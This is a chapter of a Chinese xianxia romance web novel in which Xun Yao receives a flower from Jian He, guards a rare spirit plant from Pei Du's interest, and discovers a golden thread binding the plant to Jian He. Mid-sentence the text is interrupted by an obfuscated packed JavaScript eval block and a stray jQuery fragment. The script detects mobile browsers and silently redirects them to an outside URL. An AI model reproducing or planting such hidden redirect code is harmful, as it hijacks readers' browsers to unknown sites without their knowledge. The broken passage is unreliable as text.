文趣网 > 其他小说 > 我和师兄才不是一对 > 10. 月光知道
    夜里荀杳睡得很沉,一夜无梦。早上醒来窗外还蒙着雾,她用冷水洗了把脸清醒清醒,推开窗户透气。

    一推开她愣住了。

    窗台上放着一朵花,浅紫色的青蕊堇,花茎被修得整整齐齐,根部裹着一块湿灵纱,用细绳扎紧像一件礼物。花旁边的笔迹她很熟悉了——规矩、生硬。

    纸上写了六个字:“早上开的,送给你。”

    荀杳拿着那朵花看了一会儿,花瓣上还挂着露水,应该是早上才摘的。

    她想象着涧禾守着那丛青蕊堇,挑了一朵开得最好的剪下来放在她窗台上,然后又走回峰顶练剑。

    她低头笑了一声,把花插进小瓶子。

    瓶子是空的茶叶罐,她拿水涮涮灌了半瓶清水!把青蕊堇放进去。紫色的花在晨光里微微仰着头,像在跟她打招呼。

    荀杳对着那朵花看半天,伸手碰了碰花瓣。“早上开的,给你。”她学着涧禾的语调说了出来,又把自己说笑了。

    洗漱完去药园第一件事看月见灵。月见灵旁边蹲着蓝袍背影——裴渡。荀杳心头一紧:“裴师兄?你怎么在这儿?”

    裴渡朝她微微一笑:“早。我来看看那株月见灵长势,钟前辈让我进来的。”

    荀杳看了看远处的小草棚,钟老背着手在棚子里煮茶没抬头。她心里犯嘀咕——钟老平时连她进药园都要盯着,今天这么大方就让裴渡进来了?

    但她面上没显露:“裴师兄对月见灵很感兴趣?”

    “家师喜欢养灵植,我从小就跟着看。月见灵这品种三百年一遇,遇上了自然想多看两眼。”裴渡的目光落在那株透明小苗上,他的眼神专注克制看不出恶意,但荀杳总觉得底下藏着什么。

    她不动声色挡住月见灵,拿起玉瓶开始浇水:“这株苗还小经不起人多看。裴师兄感兴趣,等它长成了再看也不迟。”

    裴渡退了一步:“好,那就不打扰你照料了。”他理了理衣袍往栅栏走去。

    “荀师妹,有些东西...别看它小,根扎得深。你好好养着,未来自然知道它的用处。”他说完就走了。

    荀杳浇水的动作没停,但心里的警惕又往上提了一个台阶。月见灵、情种、归墟阁、裴渡...这些东西连在一起,但师尊不肯多说,她也理不清头绪。

    她浇完水拿出涧禾送她的木铃铛摇了摇。闷握着它的感觉让她心安,像握住了一个承诺。

    中午来到食堂,小胖子把座位占好了。荀杳端碗坐下,小胖子凑过来:“弟妹,听说今早那个归墟阁的又来药园了?”

    “你怎么知道的?”

    “全宗都知道了。”小胖子咬着筷子,“你那药园跟戏台子似的,天天有人蹲墙角。今天至少有三拨人看见裴渡进去了,池晚师姐的记录玉简刻满两卷。”

    荀杳叹气:“师姐又蹲?”

    “她的话本新出了‘归墟来客篇’,昨天半夜印的,天没亮就卖完了。”小胖子从袖子里掏出册子晃了晃,“喏,我也买了。”

    荀杳翻开扉页上写着:“月见灵夜放金光,归墟客暗藏机锋。涧禾剑峰顶观药园,面沉如铁——醋矣?”

    她把册子塞回去:“你留着吧,我不看。”

    “别啊,后面有一章写你俩那段‘等我’的对话,池晚师姐自己写哭了。”

    荀杳端着碗闷头扒饭。

    她现在对池晚的战斗力彻底服了。

    回药园的路上她听到树丛里有动静。涧禾拎着捡站在松树后面,目光直直望着从食堂回来的那条路。

    看到她走过来,他微微点了个头。

    荀杳走过去:“你怎么在这儿?”

    “路过。”

    “这条路通药园,你从剑峰路过食堂门口?”荀杳指了指他身后,“你站的位置能看到食堂出来的人。你在等我?”

    涧禾沉默了两息:“他去了药园。”

    荀杳才反应过来“他”指的是裴渡。她心里又软又酸。这人消息挺灵通,一早上的事,他隔着一个山头全知道了。

    “去了,看了两眼月见灵,说几句话就走了。”荀杳说,“没什

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761292|209600||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    么大事。”

    “嗯”,涧禾把剑换了手拿。“晚上风大。”

    荀杳笑了:“你每次都说这一句。”

    涧禾转身沿着山道走了。荀杳对着他的背影喊:“涧禾!”,荀杳掏出青蕊堇的绿梗朝他晃了晃。

    “那朵花我插瓶了,开得很好。”

    涧禾看着那截蔫蔫的绿梗没说话,但荀杳看得清清楚楚,他的动作有些局促。

    荀杳心情轻快得要飘起来。

    她一路哼着调子回到药园,蹲在月见灵旁边干活嘴角都是翘着的。

    傍晚浇完灵露,月见灵忽然亮了。

    淡金色的光从叶脉里沿着茎杆一路灌到根部,然后顺着土往外漫了一圈。金光碰到了荀杳的指尖暖融融的。

    她体内有说不清的温热在心口绕了一圈,又落回丹田。

    她看到了一件之前看不见的东西。月见灵的下面隐隐约约有一根金线,弯弯绕绕地伸向地下,不知道通到哪里去。

    荀杳蹲在原地没动。

    她看着那根金线又看了看手心。有东西在她体内觉醒了,和月见灵有关,和师尊说的“情种”有关,也和裴渡不远千里来这有关。

    她把木铃铛狠狠摇了两下——当当当。

    这一次峰顶没有灯。因为天还没黑透,但荀杳听见山路上传来了脚步声。朝着药园的方向越来越近。

    涧禾站在药园栅栏外看着角落里的她。荀杳对上他的眼睛,那句“你别来了”还没到嘴边,他先开口了。

    “铃铛响了。”

    荀杳低头:“我只是——”

    “没事,响了我就来。”他推开栅栏门走到她旁边蹲下。

    两个人蹲在月见灵前面,月见灵的光芒在两人间流转。涧禾的剑横放在膝上,背挺得很直,侧脸勾出轮廓。他的手放在膝盖旁边,那个位置她伸手就能碰到。

    月见灵根部的那根金线还在,弯弯曲曲比刚才粗了一点点。

    它终点的方向——落在涧禾的膝边。荀杳愣住:那根线的另一头连着他。